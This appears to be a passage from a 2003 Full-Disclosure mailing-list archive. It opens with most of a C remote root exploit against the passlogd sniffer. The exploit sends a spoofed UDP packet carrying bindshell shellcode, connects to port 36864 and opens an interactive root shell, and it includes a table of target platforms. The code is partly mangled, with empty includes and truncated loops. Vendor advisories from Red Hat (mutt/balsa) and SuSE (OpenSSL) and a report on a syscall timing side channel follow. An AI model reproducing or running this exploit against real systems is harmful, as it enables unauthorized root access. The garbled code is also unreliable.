Linux blah 2.4.20 #1 SMP Fri Mar 21 20:36:58 EST 2003 i686 unknown ** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) ** [root at blah /passlogd-0.1d]# ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.i21c.net & http://x82.inetcop.org ** */ /* ** -=-= POINT! POINT! POINT! POINT! POINT! =-=- ** ** This exploit is proof of concept. (Therefore, don't support 'Brute-force' mode.) ** ** P.S: ** ** I now, system OS is lacking. :-l ** Although very appreciative people sent account to me. ** uid=0 of this exploit need urgently. hehehe! ** ** Thank you. ** */ #include #include #include #include #include #include #include #include #include struct os { int num; char *ost; u_long shell; int l_sz; }; #define Xpl017Elz x82 #define D_M (0) struct os plat[]= { { 0,"ALZZA Linux release 6.1 (Linux One)", /* It's Korean Linux */ 0xbfffaf82,545 }, { 1,"WOW Linux release 6.2 (Puberty)", /* It's Korean Linux */ 0xbfffaf82,545 }, { 2,"RedHat Linux release 7.0 (Guinness)", /* It's my redhat that exist uniquely. */ 0xbfffae82,581 }, { 3,"WOWLiNUX Release 7.1 (Paran)", /* It's Korean Linux */ 0xbfffae82,593 }, { 4,"RedHat Linux release 8.0 (Psyche)", /* It's not to me now. (C0mming s00n) */ 0x82828282,0 // shit. }, { 5,NULL,0,0 } }; void banrl(); int setsock(char *host,int port); void re_connt(int sock); void send_recv_sh(int sock); void usage(char *p_name); int make_sh(u_long shcode,int l_sz); int main(int argc,char **argv) { int sock,whgl,type=D_M; struct hostent *he; struct sockaddr_in hehe; struct iphdr *__ip_hdr_st; struct udphdr *__udp_hdr_st; #ifdef _TEST #define FK_IP "82.82.82.82" /* fake src ip */ #else #define FK_IP "216.239.33.101" /* G00Gl3 */ #endif char spoof_ip[0x82]=FK_IP; #define D_PORT (36864) int port=D_PORT; #define _DMN_NAME #ifdef _DMN_NAME #define LC_TEST "localhost" /* default test host */ #else #define LC_TEST "127.0.0.1" /* localhost */ #endif char host[0x82]=LC_TEST; #ifdef T_ADDR_ #define SHELL 0x82828282 /* test */ #endif u_long shell=plat[type].shell; int l_sz=plat[type].l_sz; int atk_pk_size,make_sh_size; char *__tot_atk_pk,*atk_mbuf; (void)banrl(); if(argc<2) { (void)usage(argv[D_M]); } while((whgl=getopt(argc,argv,"L:l:H:h:F:f:T:t:IiS:s:"))!=-1) { extern char *optarg; switch(whgl) { case 'H': case 'h': memset((char *)host,D_M,sizeof(host)); strncpy(host,optarg,sizeof(host)-1); break; case 'F': case 'f': memset((char *)spoof_ip,D_M,sizeof(spoof_ip)); strncpy(spoof_ip,optarg,sizeof(spoof_ip)-1); break; case 'L': case 'l': l_sz=atoi(optarg); break; case 'T': case 't': type=atoi(optarg); if(type>4) (void)usage(argv[D_M]); else { shell=plat[type].shell; l_sz=plat[type].l_sz; } break; case 'S': case 's': shell=strtoul(optarg,NULL,NULL); break; case 'I': case 'i': (void)usage(argv[D_M]); break; case '?': fprintf(stderr," Try `%s -i' for more information.\n\n",argv[D_M]); exit(-1); break; } } { fprintf(stdout," [0] Set packet code size.\n"); make_sh_size=strlen((char *)make_sh(shell,l_sz)); atk_pk_size=(sizeof(struct iphdr)+ sizeof(struct udphdr)+make_sh_size); __tot_atk_pk=(char *)malloc(atk_pk_size); memset((char *)__tot_atk_pk,D_M,atk_pk_size); atk_mbuf=(sizeof(struct iphdr)+ sizeof(struct udphdr)+ (char *)__tot_atk_pk); fprintf(stdout," [1] Set protocol header.\n"); __ip_hdr_st=(struct iphdr *)__tot_atk_pk; __udp_hdr_st=(struct udphdr *)(sizeof(struct iphdr)+__tot_atk_pk); fprintf(stdout," [2] Make shellcode.\n"); strncpy(atk_mbuf,(char *)make_sh(shell,l_sz),make_sh_size); } if((he=gethostbyname(host))==NULL) { herror(" gethostbyname()"); exit(-1); } if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))==-1) { perror(" socket()"); exit(-1); } if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,"1",sizeof("1"))==-1) { perror(" setsockopt()"); exit(-1); } fprintf(stdout," [3] Set rawsock.\n"); __ip_hdr_st->version=4; __ip_hdr_st->ihl=sizeof(struct iphdr)/4; __ip_hdr_st->tot_len=htons(atk_pk_size); __ip_hdr_st->ttl=0xff; __ip_hdr_st->protocol=IPPROTO_UDP; __ip_hdr_st->saddr=inet_addr(spoof_ip); __ip_hdr_st->daddr=inet_ntoa(*((struct in_addr *)he->h_addr)); __udp_hdr_st->source=htons(0x82); __udp_hdr_st->dest=htons(0x202); __udp_hdr_st->len=(atk_pk_size); hehe.sin_family=AF_INET; hehe.sin_port=__udp_hdr_st->dest; hehe.sin_addr=*((struct in_addr *)he->h_addr); memset(&(hehe.sin_zero),D_M,(8)); fprintf(stdout," [4] Send packet.\n"); if((sendto(sock,__tot_atk_pk,atk_pk_size,D_M,(struct sockaddr *)&hehe,sizeof(struct sockaddr)))==-1) { perror(" sendto()"); exit(-1); } fprintf(stdout," [5] Trying %s:%d.\n",host,port); sleep(2); sock=(int)setsock(host,port); (void)re_connt(sock); fprintf(stdout," [*] Connected to %s:%d.\n",host,port); (void)send_recv_sh(sock); } int make_sh(u_long shcode,int l_sz) { int plus_sz_plus=D_M,pk_sz=D_M; char shell_code_bind_36864[]={ /* bindshell port 36864 */ 0xeb,0x72,0x5e,0x29,0xc0,0x89,0x46,0x10, 0x40,0x89,0xc3,0x89,0x46,0x0c,0x40,0x89, 0x46,0x08,0x8d,0x4e,0x08,0xb0,0x66,0xcd, 0x80,0x43,0xc6,0x46,0x10,0x10,0x66,0x89, 0x5e,0x14,0x88,0x46,0x08,0x29,0xc0,0x89, 0xc2,0x89,0x46,0x18,0xb0,0x90,0x66,0x89, 0x46,0x16,0x8d,0x4e,0x14,0x89,0x4e,0x0c, 0x8d,0x4e,0x08,0xb0,0x66,0xcd,0x80,0x89, 0x5e,0x0c,0x43,0x43,0xb0,0x66,0xcd,0x80, 0x89,0x56,0x0c,0x89,0x56,0x10,0xb0,0x66, 0x43,0xcd,0x80,0x86,0xc3,0xb0,0x3f,0x29, 0xc9,0xcd,0x80,0xb0,0x3f,0x41,0xcd,0x80, 0xb0,0x3f,0x41,0xcd,0x80,0x88,0x56,0x07, 0x89,0x76,0x0c,0x87,0xf3,0x8d,0x4b,0x0c, 0xb0,0x0b,0xcd,0x80,0xe8,0x89,0xff,0xff, 0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 }; char sh_data_align_4[0x400]; #define NULL_NULL_PSH 0x00 memset((char *)sh_data_align_4,NULL_NULL_PSH,sizeof(sh_data_align_4)); #define NOP_NOP_PSH 0x90 for(pk_sz=D_M;pk_sz>0)&0xff; sh_data_align_4[pk_sz++]=(shcode>>8)&0xff; sh_data_align_4[pk_sz++]=(shcode>>16)&0xff; sh_data_align_4[pk_sz++]=(shcode>>24)&0xff; sh_data_align_4[pk_sz++]=(0x3e); } for(plus_sz_plus=D_M; plus_sz_plush_addr); memset(&(x82.sin_zero),0,8); if(connect(sock,(struct sockaddr *)&x82,sizeof(struct sockaddr))==-1) { return(-1); } return(sock); } void re_connt(int sock) { if(sock==-1) { fprintf(stderr," [-] Connect Failed.\n\n"); exit(-1); } } void send_recv_sh(int sock) { int pk; struct timeval tm; char *t_cmd="uname -a;id;exec bash -i\n"; char rbuf[1024]; fd_set rset; memset((char *)rbuf,D_M,sizeof(rbuf)); fprintf(stdout," [*] Executed shell successfully !\n\n"); send(sock,t_cmd,strlen(t_cmd),D_M); tm.tv_sec=10; tm.tv_usec=D_M; while(1) { fflush(stdout); FD_ZERO(&rset); FD_SET(sock,&rset); FD_SET(STDIN_FILENO,&rset); select(sock+1,&rset,NULL,NULL,&tm); if(FD_ISSET(sock,&rset)) { pk=read(sock,rbuf,sizeof(rbuf)-1); if(pk<=D_M) { fprintf(stdout," [*] Happy-Exploit\n\n"); exit(D_M); } rbuf[pk]=D_M; fprintf(stdout,"%s",rbuf); } if(FD_ISSET(STDIN_FILENO,&rset)) { pk=read(STDIN_FILENO,rbuf,sizeof(rbuf)-1); if(pk>D_M) { rbuf[pk]=D_M; write(sock,rbuf,pk); } } } return; } void usage(char *p_name) { int r_s=D_M; fprintf(stdout," Usage: %s -option [argument]\n",p_name); fprintf(stdout,"\n\t-h - hostname.\n"); fprintf(stdout,"\t-f - spoof src ip.\n"); fprintf(stdout,"\t-s - &shellcode.\n"); fprintf(stdout,"\t-l - buf len.\n"); fprintf(stdout,"\t-t - target number.\n"); fprintf(stdout,"\t-i - help information.\n\n"); fprintf(stdout," Select target number:\n\n"); for(;;) { if(plat[r_s].ost==NULL) break; else fprintf(stdout,"\t{%d} %s\n",plat[r_s].num,plat[r_s].ost); r_s++; } fprintf(stdout,"\n Example> %s -h localhost -f82.82.82.82 -t3",p_name); fprintf(stdout,"\n Example2> %s -h localhost -s0x82828282 -l582\n\n",p_name); exit(-1); } void banrl() { fprintf(stdout,"\n passlogd sniffer remote buffer overflow root exploit\n"); fprintf(stdout," by Xpl017Elz.\n\n"); } /* eox */ -- -- _______________________________________________ Get your free email from http://www.hackermail.com Powered by Outblaze From bugzilla at redhat.com Thu Apr 3 21:34:00 2003 From: bugzilla at redhat.com (bugzilla at redhat.com) Date: Thu, 3 Apr 2003 15:34 -0500 Subject: [Full-Disclosure] [RHSA-2003:109-03] Updated balsa and mutt packages fix vulnerabilities Message-ID: <200304032034.h33KYQs00993@porkchop.devel.redhat.com> --------------------------------------------------------------------- Red Hat Security Advisory Synopsis: Updated balsa and mutt packages fix vulnerabilities Advisory ID: RHSA-2003:109-03 Issue date: 2003-04-03 Updated on: 2003-04-03 Product: Red Hat Linux Keywords: balsa mutt IMAP server UTF7 UTF8 Cross references: Obsoletes: CVE Names: CAN-2003-0140 CAN-2002-1090 --------------------------------------------------------------------- 1. Topic: New Balsa, Mutt, and libesmtp packages that fix potential buffer overflow vulnerabilities are now available. 2. Relevant releases/architectures: Red Hat Linux 7.2 - i386, ia64 Red Hat Linux 7.3 - i386 Red Hat Linux 8.0 - i386 Red Hat Linux 9 - i386 3. Problem description: Mutt is a text-mode email client. Balsa is a GNOME email client which includes code from Mutt. A potential buffer overflow in Mutt version 1.4 exists when parsing mailbox names returned by an IMAP server. It is possible that a hostile IMAP server could cause arbitrary code to be executed by the user running Mutt. This issue affects versions of Mutt provided with Red Hat Linux 8.0 and Red Hat Linux 9. Versions 1.2 and higher of Balsa incorporate the vulnerable Mutt IMAP code and are therefore vulnerable to this issue as well. It is possible that a hostile IMAP server could cause arbitrary code to be executed by the user running Balsa. This issue affects Red Hat Linux 7.2, 7.3, 8.0 and 9. Additionally, a buffer overflow in libesmtp, an SMTP library used by Balsa, before version 0.8.11 allows a hostile remote SMTP server to execute arbitrary code via a certain response or cause a denial of service via long server responses. This issue only affects versions of libesmtp provided by Red Hat Linux 7.2 and 7.3. Users of Mutt and Balsa are recommended to update to these erratum packages containing updated versions of Mutt, Balsa, and libesmtp which are not vulnerable to these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 66389 - Buffer overflow in versions < 0.8.11 86394 - Security flaw in mutt discovered by Core Security Technologies 6. RPMs required: Red Hat Linux 7.2: SRPMS: ftp://updates.redhat.com/7.2/en/os/SRPMS/balsa-1.2.4-7.7.2.src.rpm ftp://updates.redhat.com/7.2/en/os/SRPMS/libesmtp-0.8.12-0.7.x.src.rpm i386: ftp://updates.redhat.com/7.2/en/os/i386/balsa-1.2.4-7.7.2.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/libesmtp-0.8.12-0.7.x.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/libesmtp-devel-0.8.12-0.7.x.i386.rpm ia64: ftp://updates.redhat.com/7.2/en/os/ia64/balsa-1.2.4-7.7.2.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/libesmtp-0.8.12-0.7.x.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/libesmtp-devel-0.8.12-0.7.x.ia64.rpm Red Hat Linux 7.3: SRPMS: ftp://updates.redhat.com/7.3/en/os/SRPMS/balsa-1.2.4-7.7.3.src.rpm ftp://updates.redhat.com/7.3/en/os/SRPMS/libesmtp-0.8.12-0.7.x.src.rpm i386: ftp://updates.redhat.com/7.3/en/os/i386/balsa-1.2.4-7.7.3.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/libesmtp-0.8.12-0.7.x.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/libesmtp-devel-0.8.12-0.7.x.i386.rpm Red Hat Linux 8.0: SRPMS: ftp://updates.redhat.com/8.0/en/os/SRPMS/mutt-1.4.1-0.8.x.src.rpm ftp://updates.redhat.com/8.0/en/os/SRPMS/balsa-1.2.4-8.src.rpm i386: ftp://updates.redhat.com/8.0/en/os/i386/mutt-1.4.1-0.8.x.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/balsa-1.2.4-8.i386.rpm Red Hat Linux 9: SRPMS: ftp://updates.redhat.com/9/en/os/SRPMS/mutt-1.4.1-1.src.rpm ftp://updates.redhat.com/9/en/os/SRPMS/balsa-2.0.6-2.src.rpm i386: ftp://updates.redhat.com/9/en/os/i386/mutt-1.4.1-1.i386.rpm ftp://updates.redhat.com/9/en/os/i386/balsa-2.0.6-2.i386.rpm 7. Verification: MD5 sum Package Name -------------------------------------------------------------------------- 5bab8505c792c1682072f90ec5babe6a 7.2/en/os/SRPMS/balsa-1.2.4-7.7.2.src.rpm d5234163353ecf276c872abf253703d9 7.2/en/os/SRPMS/libesmtp-0.8.12-0.7.x.src.rpm 9a2394f555cc8ea15891e04da2e73030 7.2/en/os/i386/balsa-1.2.4-7.7.2.i386.rpm f4d4ae7c3af052f43e1873169ed06036 7.2/en/os/i386/libesmtp-0.8.12-0.7.x.i386.rpm 08be48e6749eaa9eee9c3c130c8e8bd5 7.2/en/os/i386/libesmtp-devel-0.8.12-0.7.x.i386.rpm fb4a47e64ac2a8e35ea98bd64f980eb5 7.2/en/os/ia64/balsa-1.2.4-7.7.2.ia64.rpm f5dd08e62f829edf0d1f24a26b7ab364 7.2/en/os/ia64/libesmtp-0.8.12-0.7.x.ia64.rpm af33956420acf4c8c1e551850aaec2c8 7.2/en/os/ia64/libesmtp-devel-0.8.12-0.7.x.ia64.rpm 23c4b1e9fb9e3b9d59329f878b7ddd56 7.3/en/os/SRPMS/balsa-1.2.4-7.7.3.src.rpm d5234163353ecf276c872abf253703d9 7.3/en/os/SRPMS/libesmtp-0.8.12-0.7.x.src.rpm ef25302d3b208b76d574c1dd32baf160 7.3/en/os/i386/balsa-1.2.4-7.7.3.i386.rpm f4d4ae7c3af052f43e1873169ed06036 7.3/en/os/i386/libesmtp-0.8.12-0.7.x.i386.rpm 08be48e6749eaa9eee9c3c130c8e8bd5 7.3/en/os/i386/libesmtp-devel-0.8.12-0.7.x.i386.rpm ee54ef0139d795761ab552085100d57f 8.0/en/os/SRPMS/balsa-1.2.4-8.src.rpm db56cb885a976cb82b9493a7bcad0fbc 8.0/en/os/SRPMS/mutt-1.4.1-0.8.x.src.rpm 6e65eeccc64b858b12e8cdfdf845bae6 8.0/en/os/i386/balsa-1.2.4-8.i386.rpm 074c0b649d51043349c2ca628fc7d217 8.0/en/os/i386/mutt-1.4.1-0.8.x.i386.rpm a10d74ad40852b6dd43fdbcb51fac529 9/en/os/SRPMS/balsa-2.0.6-2.src.rpm 9e6dc99dcd0adc430995776fedf89712 9/en/os/SRPMS/mutt-1.4.1-1.src.rpm 26b0deca515d58111780cb510236776a 9/en/os/i386/balsa-2.0.6-2.i386.rpm 389f755b4702a1acb1a8f891750fe7b2 9/en/os/i386/mutt-1.4.1-1.i386.rpm These packages are GPG signed by Red Hat for security. Our key is available at http://www.redhat.com/solutions/security/news/publickey/ You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: md5sum 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0140 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1090 9. Contact: The Red Hat security contact is . More contact details at http://www.redhat.com/solutions/security/news/contact/ Copyright 2003 Red Hat, Inc. From andrewg at d2.net.au Wed Apr 2 20:19:47 2003 From: andrewg at d2.net.au (Andrew Griffiths) Date: Thu, 03 Apr 2003 05:19:47 +1000 Subject: [Full-Disclosure] Syscall implementation could lead to whether or not a file exists Message-ID: <3E8B37D3.50906@d2.net.au> Product: Linux and various other kernels Tested: - RedHat kernel 2.4.18-26.7.x (second latest ;)) - RedHat kernel 2.4.18-27.7.x - Debian 3.0 box - FreeBSD 4.4 Description: Due to the implementation of various system calls, it becomes possible to test whether or not a file exists in a directory that is unreadable. Synopsis: Filenames can be disclosed, which may be useful for other attacks. Problem: By timing how long it takes for the system call to return, you can pretty tell whether or not the file exists, because the failure time is in my testing, three times shorter than if the file exists. To illistrate, here is an example of the attached program running with the open() call. I would think other syscalls such as stat(), mkdir(), chdir(), etc would disclose whether or not a file exists. [+] creating unreachable [+] creating unreachable/iexist [+] chmod 0'ing unreachable [+] d--------- 2 andrewg andrewg 4096 Mar 20 20:37 unreachable/ [+] Timing open() on unreachable/iexist [+] Successful: 12 usecs, got Permission denied [+] Timing open() on unreachable/non-existant [+] Failure: 3 usecs, got Permission denied [+] Using 3 as our cutoff. [+] testing /root/.bashrc and /root/non-existant [+] /root/.bashrc exists (4 usecs), got Permission denied [+] /root/non-existant doesn't exist (2 usecs), got Permission denied After a while of experimentation, I found that the following formuala seems to be relatively decent at avoiding false positivites, on my RH box. cutoff = ((success_time + failure_time) / 3) - 2 This is somewhat dependant on the load on the box, and where the file is located, though it appears. On some OS's (notably freebsd in my testing) it will store the results of into its cache (different to linux, in the sense that it throws off the algo above.). Thus, if you just create a file and time open()ing that, then compare it with a file that has been recently opened, you don't get a fair comparsision. Fix: No known fix exists. Not exactly sure whether a fix is appropiate, as the kernel is meant to be as fast as possible. Exploit: is attached. Information is this email may be redistributed as long as the below signature stays attached. Thanks, Andrew Griffiths -- Attention: Public floggings will continue until morale improves. MidWay_/#melb-wireless licks txrxafk while his defenses are down. Oh boy. That could have been taken out of context. -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: filetest.c Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030403/c6085d0d/attachment.c From krahmer at suse.de Fri Apr 4 13:42:06 2003 From: krahmer at suse.de (Sebastian Krahmer) Date: Fri, 4 Apr 2003 14:42:06 +0200 (MEST) Subject: [Full-Disclosure] SuSE Security Announcement: openssl (SuSE-SA:2003:024) Message-ID: -----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: openssl Announcement-ID: SuSE-SA:2003:024 Date: Fri Apr 4 14:00:00 MEST 2003 Affected products: 7.1, 7.2, 7.3, 8.0, 8.1 SuSE Linux Database Server SuSE eMail Server III, 3.1 SuSE Firewall Adminhost VPN SuSE Linux Admin-CD for Firewall SuSE Firewall on CD 2 - VPN SuSE Firewall on CD 2 SuSE Linux Live-CD for Firewall SuSE Linux Connectivity Server SuSE Linux Enterprise Server 7 SuSE Linux Enterprise Server 8 SuSE Linux Office Server UnitedLinux 1.0 Vulnerability Type: remote private-key retrieval Severity (1-10): 5 SuSE default package: Yes Cross References: http://www.openssl.org Content of this advisory: 1) security vulnerability resolved: Remote timing attack and "Klima-Pokorny-Rosa" attack. problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds: - glibc - vnc 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information Researchers from the University of Stanford have discovered certain weaknesses in OpenSSL's RSA decryption algorithm. It allows remote attackers to compute the private RSA key of a server by observing its timing behavior. This bug has been fixed by enabling "RSA blinding", by default. Additionally an extension of the "Bleichenbacher attack" has been developed by Czech researchers against OpenSSL. This weakness has also been fixed. Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Fhv file.rpm" to apply the update. Our maintenance customers are being notified individually. The packages are being offered to install from the maintenance web. i386 Intel Platform: SuSE-8.2: ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-0.9.6i-12.i586.rpm b418a2f73ab572f99f156335f3cd4ef4 ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-devel-0.9.6i-12.i586.rpm d0539c626612c5fcd9b1e81e529dc3af patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-0.9.6i-12.i586.patch.rpm 3c8a296170b34838db459a5aefc3e104 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-devel-0.9.6i-12.i586.patch.rpm 8978902dde74da69f72c4ff93a90f1eb source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/openssl-0.9.6i-12.src.rpm 6dfaa0788bcdcb99939890d4bbd62826 SuSE-8.1: ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-0.9.6g-68.i586.rpm 2ecce759f2806b5ab475877b0ccd1f6f ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-devel-0.9.6g-68.i586.rpm aa79f7f72e503393f8fa9c34290ab497 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-0.9.6g-68.i586.patch.rpm 68e33f6f3f90234a599e7473262e4924 ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-devel-0.9.6g-68.i586.patch.rpm 07ee91826db414421ad2a5a1abe27191 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/openssl-0.9.6g-68.src.rpm 177ff751ecf0e5e191b36e9df28479ee SuSE-8.0: ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec1/openssl-0.9.6c-85.i386.rpm fabc6f1768cb113555690dbc26b26779 ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/openssl-devel-0.9.6c-85.i386.rpm 788751185ecf5c3538378de8f583c900 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec1/openssl-0.9.6c-85.i386.patch.rpm dc19ef5b07fcd32d060e8c6c0f11d3e1 ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/openssl-devel-0.9.6c-85.i386.patch.rpm 0152c98bab2617456b7250431f37c41e source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/openssl-0.9.6c-85.src.rpm 66080ca41e143339ef95d7dd0c4c19fe SuSE-7.3: ftp://ftp.suse.com/pub/suse/i386/update/7.3/sec1/openssl-0.9.6b-156.i386.rpm 7da5bae86380a034312d69e745bb1bb5 ftp://ftp.suse.com/pub/suse/i386/update/7.3/d2/openssl-devel-0.9.6b-156.i386.rpm d54d7948b2a5cce732971890f51520a3 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/openssl-0.9.6b-156.src.rpm 13749156d3a6fd7597407a65bf2c527b SuSE-7.2: ftp://ftp.suse.com/pub/suse/i386/update/7.2/sec1/openssl-0.9.6a-82.i386.rpm 105d9266ea2117bfa9643eb66441f39b ftp://ftp.suse.com/pub/suse/i386/update/7.2/d2/openssl-devel-0.9.6a-82.i386.rpm 5d607333a4ddae3cb1e303a8afaf2f43 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/openssl-0.9.6a-82.src.rpm 7a06275dda66ea2e9da6c76425439369 SuSE-7.1: ftp://ftp.suse.com/pub/suse/i386/update/7.1/sec1/openssl-0.9.6a-81.i386.rpm 8bb8ea69f878aa08331269bf3f38afa2 ftp://ftp.suse.com/pub/suse/i386/update/7.1/d2/openssl-devel-0.9.6a-81.i386.rpm dede7c66740ab249de577e5699e8639f source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/openssl-0.9.6a-81.src.rpm 07bc8370887abba6db3ace2d523eeade Sparc Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/sparc/update/7.3/sec1/openssl-0.9.6b-89.sparc.rpm 1391d007fdb5b99fd71aba949aeb0310 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/d2/openssl-devel-0.9.6b-89.sparc.rpm 9f0ff708c016fd62d103cadbf3f6892e source rpm(s): ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/openssl-0.9.6b-89.src.rpm fac800ccac7c5f2c3eb544f5a7bf0aea AXP Alpha Platform: SuSE-7.1: ftp://ftp.suse.com/pub/suse/axp/update/7.1/sec1/openssl-0.9.6a-31.alpha.rpm c8d02c071cee8f6d70d8a9bb26b010f2 ftp://ftp.suse.com/pub/suse/axp/update/7.1/d2/openssl-devel-0.9.6a-31.alpha.rpm 13cdfd1f3b35ee90a7d09240a2a3df40 source rpm(s): ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/openssl-0.9.6a-31.src.rpm e64213b7b488d16de6152d94db9aaa99 PPC Power PC Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/ppc/update/7.3/sec1/openssl-0.9.6b-150.ppc.rpm cb2b6467cbad88c2ac4cecd889b2cb40 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/d2/openssl-devel-0.9.6b-150.ppc.rpm c11a579a40184ad6a108bfaa787b2038 source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/openssl-0.9.6b-150.src.rpm 889ea0f28304224329a37d12390e370b SuSE-7.1: ftp://ftp.suse.com/pub/suse/ppc/update/7.1/sec1/openssl-0.9.6a-31.ppc.rpm 1694ef2f2018cfcdd4a4bab97d21978b ftp://ftp.suse.com/pub/suse/ppc/update/7.1/d2/openssl-devel-0.9.6a-31.ppc.rpm f1b6838c46f3775d4ee6c51714247cb1 source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/openssl-0.9.6a-31.src.rpm 5a8af3aa4592efba1194518b9a50253e ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - glibc New glibc packages will be available soon which fix a RPC XDR integer overflow. The packages are currently being tested. - vnc VNC (Virtual Network Computing) uses a weak cookie generation process which can be exploited by an attacker to bypass authentication. New packages are currently being tested and will be available on our FTP servers soon. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security at suse.de), the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig to verify the signature of the package, where is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an un-installed rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build at suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the top-level directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security at suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to . suse-security-announce at suse.com - SuSE's announce-only mailing list. Only SuSE's security announcements are sent to this list. To subscribe, send an email to . For general information or the frequently asked questions (faq) send mail to: or respectively. ===================================================================== SuSE's security contact is or . The public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SuSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org mQGiBDnu9IERBACT8Y35+2vv4MGVKiLEMOl9GdST6MCkYS3yEKeueNWc+z/0Kvff 4JctBsgs47tjmiI9sl0eHjm3gTR8rItXMN6sJEUHWzDP+Y0PFPboMvKx0FXl/A0d M+HFrruCgBlWt6FA+okRySQiliuI5phwqkXefl9AhkwR8xocQSVCFxcwvwCglVcO QliHu8jwRQHxlRE0tkwQQI0D+wfQwKdvhDplxHJ5nf7U8c/yE/vdvpN6lF0tmFrK 